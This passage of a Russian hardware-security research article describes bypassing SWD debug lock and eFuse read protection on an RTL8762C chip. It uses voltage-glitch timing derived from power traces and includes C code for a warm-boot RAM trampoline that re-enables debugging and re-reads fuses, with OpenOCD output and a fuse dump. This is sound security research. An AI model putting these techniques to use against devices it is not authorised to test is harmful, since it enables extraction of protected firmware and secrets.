Идём по левой ветке, так как правая — это warm boot.

Одно из первых действий, которые делает ROM, — инициализация области стека значением 0xA5A5A5A5 (это тот самый цикл for (i = 0; i < 0x800; i += 4) *(i + 0x203000) = 0xA5A5A5A5; из псевдокода reset(): ровно 512 записей). Приближаем график в части 1 и терпеливо считаем каждый пик. Считаем, считаем и получаем… (барабанная дробь) — ровно 512 пиков! Получается, при должном усердии появляется шанс прицелиться с точностью до инструкции! (нет)

Дальше пойдём по такому пути — ищем в коде ROM на пути исполнения до включения SWD различимые паттерны: длинные memcpy, задержки и прочее.

Несколько дополнительных проверок убеждают нас в правильности гипотезы. И тут вспоминаем, что внутри функции check_password как раз таки есть цикл — чтение 16 байт пароля из энергонезависимых AON-регистров с их последующим занулением! Данный паттерн должен быть хорошо различим, так как на каждой итерации происходит и чтение, и запись. Вдобавок: операция read занимает 8 инструкций, write — 11. Итого ~10 инструкций в самом теле цикла + ~19 в вызываемых функциях ≈ 29 инструкций на итерацию. Цикл исполняется 16 итераций: 16 × 29 ≈ 464 цикла. При работе от 16 МГц и предположении, что 1 инструкция ≈ 1 такт, блок должен длиться ≈ 464 / 16 МГц ≈ 29 мкс — ориентируемся на «не менее 30 мкс».

Снимаем красивую трассу и аккуратно идём по ней. После 10 минут вглядывания в графики находим следующий фрагмент:

Он самый: цикл чтения AON-регистров
Он самый: цикл чтения AON-регистров

Считаем бюджет перебора

Что же, все гипотезы сформированы, и получается, что мы целимся в участок длиной примерно 50 мкс до чтения регистров и дальше до следующего delay (хорошо видно на том же графике).

Так как Chipolino работает с PIO на частоте 250 МГц, минимальный шаг глитча равен 4 нс. С ним и будем работать: есть джиттер на старте чипа, и лучше мы несколько раз проверим одно и то же место, чем вовсе его пропустим.

Дальше простая арифметика:

  • 50 мкс / 4 нс = 12 500 возможных временных позиций атаки;

  • каждый тик = время на выключение чипа, его обратное включение, ожидание пуска 32 мс + 30 мс ожидания до момента, когда сможем проверить, поднялся ли SWD. По таймстампам реального лога на одну проверку уходит около 100 мс;

  • полная проверка одной ширины глитча: 12 500 × ~100 мс ≈ 21 минута;

  • но мы перебираем не только позицию, но и длительность глитча (рабочий диапазон ширин подбирали эмпирически, на эту тему можно написать отдельную статью)

Таким образом, за несколько часов можно спокойно перебрать всю область, которую мы определили выше. Сильно лучше, чем несколько недель, если атаковать «без прицела».

Поехали!

Берем заблокированный чип, подключаем к Chipolino, задаем наши параметры, и ждем. Буду честен с вами - в первый раз я запустил атаку с чуть менее жесткими границами на всю ночь. И не успел я отойти ко сну, как решил проверить, что процесс идет. Прихожу, а в консоли - GLITCH DONE. Я даже не поверил, что все так просто. Выписал найденные параметры, уточнил атаку, снова запускаю - и снова успех уже через несколько минут. Подключаюсь через OpenOCD - и правда, интерфейс SWD работает. 

Но возникает одно неприятное ограничение: как бы мы ни осуществляли глитч, на чипе с включенной защитой фьюзы к моменту активации SWD уже будут заблокированы для чтения, а узнать их содержимое — дело принципа. Так что займём еще немного вашего времени и расскажем, как же этого добиться.

Охота за фьюзами: warm-boot патч

Снова смотрим на процедуру загрузки, только теперь на ветку warm boot.

Ветка warm boot
Ветка warm boot
int (*reset(void))(void)
{
    boot_mode = btaon_fast_read(CELL_BOOT_MODE);
    btaon_fast_update(CELL_BOOT_MODE);

    if (boot_mode.boot_type == 2) {
        Make_EFUSE_unwritable(); 
        Make_EFUSE_unreadable();
        __disable_irq();
        return sub_87DE(); // Загрузка из warm boot          
    }

    // Cold Boot ...
}
// Фьюзы не перечитываются

int Make_EFUSE_unreadable()
{
    if (SECURITY_REG.is_enable_efuse_read_protect      
        || SECURITY_REG.is_efuse_invalid) {            
        EFUSE_GATE_REG |= GATE_READ_KILL;              
    }
}

int Make_EFUSE_unwritable()
{
    if (SECURITY_REG.is_enable_efuse_write_protect
        || SECURITY_REG.is_efuse_invalid) {
        EFUSE_GATE_REG |= GATE_WRITE_KILL;  
    }
}

Никакого повторного чтения фьюзов при Warm Boot не происходит - решение принимается по состоянию Security Reg. Сразу же пытаемся поменять Security REG и видим, что изменение заблокировано. Пробуем сделать soft reset через отладчик - Security REG не изменился, отладка осталась (а должна была “отлететь”).

Давайте отмотаем назад и вспомним, как ROM сохраняет пароль, введенный через HCI-UART:

int __fastcall store_password_and_reset(int hci_params)
{
  unsigned int i;

  for ( i = 0; i < 0x10; i = (i + 1) )
    // Кладем полученный пароль в BTAON регистры
    btaon_fast_write_safe(i + 5, *(_BYTE *)(hci_params + i + 3));
  // Ребут всего, кроме AON
  return WDG_SystemReset_wrapper(1);
}

Если мы сделаем reset чипа таким же образом, то Security Reg однозначно сбросится (иначе пароль бы ничего не разблокировал). Но мы одновременно с этим потеряем отладку по SWD.

Можно попробовать сделать небольшой трамплин и поместить его в RAM. Смотрим в функцию sub_87DE():

int sub_87DE()
{
  int result;

  if ( (byte_20037A & 0x10) != 0 )
    sub_6982();
  sub_686C();

  // Вот сюда удобно положить trampoline
  off_2004F0();

  sub_C450();
  if ( !off_20126C || (result = off_20126C()) == 0 )
  {
    sub_8548(1);
    sub_765A(pMCU_PPB);
    off_2004EC();
    return sub_2266();
  }
  return result;
}

Ну и сам трамплин:

void __attribute__((section(".hook_handler"))) _Hook()
{
    WDG_Disable();

    // 1. выбираем режим warm boot в AON-регистре стартового режима
    btaon_fast_write(0, 4);

    // 2. Перехватываем исполнение в RAM
    //    0x203875 — адрес хука в SRAM
    *(uint32_t*)(0x2004F0) = 0x203875;

    // 4. Включаем watchdog
    WDG_ClockEnable();
    WDG_Config(1, 0, 2);
    WDG_Enable();
    volatile uint32_t* flag = (uint32_t*)(0x203000);
    while(flag);
    while (1)
    {
        hook();
    }
}

void hook() // Лежит тут - 0x203875
{
    while(1)
    {
        WDG_Disable();
        // Включаем SWD и больше ничего не трогаем
        *(uint32_t*)(0x40058F28) = 0x2;

        // Перечитываем фьюзы
        prepare_efuses();
        read_fuses(3, 1);

	 // Done!
        while(1);
    }
}

Снова глитчим, пишем патч в 0x203800, ставим PC = 0x203801 (помним, что мы в Thumb) и отпускаем ядро. Через пару секунд снова вешаем halt:

> targets
 0* rtl8762c.cpu.km0   cortex_m   little rtl8762c.cpu   halted
> reg pc
pc (/32): 0x000020388e          # крутимся в while(1) внутри нашего hook()
> reg lr
lr (/32): 0x0000789d            # вызов был из warm-пути ROM
> mdw 0x40058F28 1
0x40058f28: 00000002            # <<< запись прошла! лок-биты сняты хуком
> mdw 0x40006020 1
0x40006020: 00000000            # <<< гейты фьюзов ОТКРЫТЫ (было 80000000)

Читаем область RAM, куда скопировались EFUSE (барабанная дробь):

00202860  11 04 41 04 11 41 04 41 10 01 ff ff 54 36 9b 35 2f 35 a6 34 ...  
002028e0  ... 1a e5 7a 39 50 46 52 33 31 34 31 34 43 32 a7 06 42 bd        
00202920  ... ff e8 ff ff ff 3c ff 3c ff ff f3 ff ...                       
0020295a  50 49 14 24 2b a7 b9 ad 57 6c ab 8f 48 e6 15 d0 ...

Что дальше?

Давайте подведем итог:

  1. Мы смогли получить дамп ROM кода из памяти XOM, используя ошибку проектирования с помощью prefetch инструкций.

  2. Разобрали, как устроена безопасность чипа.

  3. Обошли блокировки EFUSE и SWD с помощью глитча.

Внимательный читатель наверняка заметил темные пятна в исследовании и захочет задать вопросы. Часть из них скоро раскроет мой коллега в очередной статье (будет интересно и сложно, следите!), а часть мы оставим для тех, кто захочет повторить исследование и даже улучшить нашу атаку!

Надеемся, что статья смогла показать вам, что Hardware Security - это сложно, но возможно, и что Blackbox на бумаге и в реальности - это две разные сущности.

PS: для тех, кто не хочет заново читать этот лонгрид, спойлер с главными пасхалками:
  1. Что делать, если кто-то использовал не описанный в документации режим блокировки условного уровня 6?

  2. Если в режиме HCI доступен только ROM, как извлечь прошивку из SPI-Flash?

  3. Что за загадочный scramble-AES?

  4. Как получить настоящий пароль разблокировки, чтобы каждый раз не делать Glitch?

Комментарии (1)


  1. Alex_Maz
    19.11.2026 18:04

    Браво, прочитал с интересом. Особенно про использование осциллографа для поиска момента глитча.